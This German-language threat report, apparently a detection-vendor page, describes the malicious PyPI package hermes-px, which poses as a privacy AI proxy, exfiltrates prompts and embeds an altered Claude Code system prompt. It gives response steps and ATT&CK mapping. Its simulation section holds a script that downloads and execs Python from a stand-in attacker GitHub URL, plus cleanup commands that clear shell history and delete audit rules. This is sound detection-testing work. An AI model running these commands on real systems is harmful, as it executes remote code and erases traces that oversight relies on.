hermes-px: Ein falscher Datenschutz-Proxy, der Eingaben exfiltriert und Claude-Code manipuliert
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
JFrog Security Research hat ein bösartiges PyPI-Paket namens hermes-px identifiziert, das sich als datenschutzorientierter KI-Inferenz-Proxy ausgibt. Anstatt Benutzer zu schützen, leitet es den Datenverkehr über Tor zu einem nicht autorisierten, von einer Universität gehosteten KI-Endpunkt, tauscht oder überschreibt Systemnachrichten und exfiltriert Eingaben und Modellantworten an einen Supabase-Backend. Das Paket bettet auch eine gestohlene, umbenannte Anthropic Claude Systemeingabeaufforderung ein, um die Täuschung zu verstärken. hermes-px wird über das öffentliche PyPI vertrieben und ist über Standard-pip-Workflows installierbar, wodurch es einfach in Entwicklerumgebungen integrierbar ist.
Untersuchung
Forscher überprüften den Quellcode und fanden drei Verschlüsselungsebenen zur Verschleierung sensibler Zeichenketten, sowie einen fest kodierten Supabase-API-Schlüssel und eine Telemetrie-Komponente, die Daten direkt über das öffentliche Internet überträgt. Der entschlüsselte Upstream-Endpunkt löst sich zu einer privaten Universitäts-API auf, die durch Azure WAF geschützt wird, was auf den Missbrauch einer Infrastruktur hindeutet, die nicht für öffentliches Proxying vorgesehen ist. Die Projektdokumentation ermutigt Benutzer zudem, zusätzlichen Code von einer GitHub-URL zu holen und auszuführen, was das Risiko über das Paket hinaus erweitert. Um sich in normale Entwicklungsmuster einzufügen, imitiert hermes-px die OpenAI Python SDK Schnittstelle, wodurch während der Integration weniger Verdacht erregt wird.
Abschwächung
Entfernen Sie hermes-px aus allen Umgebungen und sperren Sie die Abhängigkeitsquellen, um eine Neuinstallation zu verhindern. Rotieren Sie alle Anmeldeinformationen, die in Eingaben, Konfigurationen oder Protokollen offengelegt worden sein könnten, und blockieren Sie den Zugang zur Supabase-Exfiltrationsdomain und anderen identifizierten bösartigen URLs. Wenn Tor speziell zur Unterstützung dieses Tools installiert wurde, entfernen Sie es und überprüfen Sie die zugehörigen Netzwerksteuerungen. Gehen Sie davon aus, dass Eingaben sensible Daten enthalten können, und überprüfen Sie alle erfassten Inhalte auf Geheimnisse, Tokens oder regulierte Informationen.
Antwort
Suchen Sie nach hermes-px-Installationen anhand von Paketinventaren und Baselines von Entwicklerarbeitsstationen, und alarmieren Sie bei ausgehenden Verbindungen zu supabase.co und dem identifizierten Universitäts-API-Endpunkt. Quarantänisieren Sie betroffene Hosts, bewahren Sie relevante Artefakte (Paketdateien, Terminalverlauf, Abhängigkeits-Lockfiles) auf und ermitteln Sie die Exposition, indem Sie feststellen, welche Eingaben und Antworten übertragen wurden. Benachrichtigen Sie betroffene Benutzer und, falls zutreffend, die betroffenen Institution(en) und aktualisieren Sie die Erkennungen, um SDK-Doppelgänger, Tor-vermittelte Proxy-Verhaltensweisen und verdächtige Telemetrie-Module in Python-Paketen zu kennzeichnen.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Technik</b> – <b>T1204 Benutzerausführung</b><br/>Opfer führt bösartigen Befehl aus (z.B., pip install hermes-px)<br/><b>Beschreibung</b>: Ausführung von bösartigem Code durch Überzeugen eines Benutzers, ihn auszuführen."] class tech_user_exec technique tech_supply_chain["<b>Technik</b> – <b>T1195.002 Kompromittierung der Software-Lieferkette</b><br/>Bösartiges PyPI-Paket veröffentlicht, um Abhängigkeitskette zu entführen<br/><b>Beschreibung</b>: Gegner injiziert bösartigen Code in eine Software-Lieferkette."] class tech_supply_chain technique tech_python["<b>Technik</b> – <b>T1059.006 Python</b><br/>Bösartiger Python-Code nach der Installation ausgeführt<br/><b>Beschreibung</b>: Verwendung des Python-Interpreters zum Ausführen von Befehlen."] class tech_python technique tech_proxy_ext["<b>Technik</b> – <b>T1090.002 Externer Proxy</b><br/>Verkehr über Tor-Ausgangsknoten geleitet<br/><b>Beschreibung</b>: Verwendung eines externen Proxy-Dienstes, um den Ursprung des Netzwerkverkehrs zu verbergen."] class tech_proxy_ext technique tech_proxy_multi["<b>Technik</b> – <b>T1090.003 Mehrhop-Proxy</b><br/>Mehrere Tor-Hops für Anonymität<br/><b>Beschreibung</b>: Verkettung mehrerer Proxys, um die Verkehrsquelle weiter zu verschleiern."] class tech_proxy_multi technique tech_web_proto["<b>Technik</b> – <b>T1071.001 Web-Protokolle</b><br/>HTTP-Anfragen an eine private Universitäts-AI-API<br/><b>Beschreibung</b>: Verwendung von Webprotokollen für Kommando- und Kontrollkommunikation."] class tech_web_proto technique tech_obfuscation["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Verschlüsselte Zeichenfolgen zur Laufzeit dekodiert<br/><b>Beschreibung</b>: Bösartigen Code mit Verschlüsselung oder Kodierung verbergen."] class tech_obfuscation technique tech_dynamic_api["<b>Technik</b> – <b>T1027.007 Dynamische API-Auflösung</b><br/>API-Adressen zur Ausführungszeit dynamisch aufgelöst<br/><b>Beschreibung</b>: APIs zur Laufzeit auflösen und aufrufen, um statische Erkennung zu vermeiden."] class tech_dynamic_api technique tech_exfil["<b>Technik</b> – <b>T1567 Exfiltration über Web-Dienst</b><br/>Daten an Angreifer-Supabase-Endpunkt gesendet<br/><b>Beschreibung</b>: Übertragung von Daten an externe Webdienste, die vom Gegner kontrolliert werden."] class tech_exfil technique tech_subvert_trust["<b>Technik</b> – <b>T1553 Vertrauenskontrollen untergraben</b><br/>Gefälschte Organisation und polierte Dokumentation verwendet, um Opfer zu ködern<br/><b>Beschreibung</b>: Manipulation von Vertrauensbeziehungen, um Kompromittierungen zu erleichtern."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|führt aus| tech_supply_chain tech_supply_chain –>|liefert| tech_python tech_python –>|verwendet| tech_proxy_ext tech_proxy_ext –>|verbindet mit| tech_proxy_multi tech_proxy_multi –>|kommuniziert über| tech_web_proto tech_web_proto –>|verwendet| tech_obfuscation tech_web_proto –>|verwendet| tech_dynamic_api tech_obfuscation –>|ermöglicht| tech_exfil tech_dynamic_api –>|ermöglicht| tech_exfil tech_python –>|ermöglicht| tech_subvert_trust "
Angriffsablauf
Erkennungen
Mögliche Dateninfiltration / Exfiltration / C2 über Drittanbieter-Services / Tools (via Proxy)
Ansicht
Mögliche Dateninfiltration / Exfiltration / C2 über Drittanbieter-Services / Tools (via DNS)
Ansicht
Möglicher GitHub-Dateidownload, initiiert durch ungewöhnlichen Prozess (via Netzwerkverbindung)
Ansicht
IOCs (HashSha1) zur Erkennung: hermes-px: Der ‚Datenschutz‘-KI-Proxy, der Ihre Eingaben stiehlt, enthält veränderte Claude-Code-Systemeingabeaufforderung
Ansicht
Bösartiges API-Endpunkt-Hijacking für KI-Inferenz [Webserver]
Ansicht
Verdächtige Python-Skriptausführung von GitHub [Linux-Prozesserstellung]
Ansicht
Simulationsausführung
Voraussetzung: Der Telemetrie- und Basisstatus-Vorflug-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsvorschrift auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle:
Ein Angreifer hat eine bösartige Python-Nutzlast erhalten, die auf einem öffentlichen GitHub-Repository gehostet wird. Um das Schreiben von Dateien auf die Festplatte zu vermeiden (Reduzierung des forensischen Fußabdrucks), verwenden sie einen einzeiligen Python-Befehl, der:- Ruft
urllib.request.urlopen()auf, um den Rohskriptinhalt von GitHub herunterzuladen. - Liest die Antwort und übergibt die Bytes an
exec()für die sofortige Ausführung. - Führt den Befehl auf einem kompromittierten Linux-Host aus, auf dem der Angreifer bereits über eine niedrig privilegierte Shell verfügt.
Dieses genaue Muster (
python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") entspricht den Zeichenfolgenkriterien der Erkennungsvorschrift. - Ruft
-
Regressionstest-Skript:
#!/bin/bash # # Simulieren bösartiger Python-Ausführung, die die Sigma-Regel auslösen sollte. # MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py" python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"Speichern Sie dieses Skript als
trigger_detection.sh, machen Sie es ausführbar (chmod +x trigger_detection.sh) und führen Sie es auf dem Zielhost aus. -
Bereinigungskommandos:
# Es werden keine persistente Artefakte erstellt, aber stellen Sie sicher, dass das Terminal sauber ist. history -c # Verlauf der aktuellen Sitzung leeren sudo auditctl -D # (Optional) Entfernen Sie alle Laufzeitauditregeln, wenn Sie sie nur zum Testen hinzugefügt haben # Wenn Sie eine permanente Regel in /etc/audit/rules.d/ hinzugefügt haben, ziehen Sie in Betracht, sie zu entfernen: # sudo rm /etc/audit/rules.d/process_creation.rules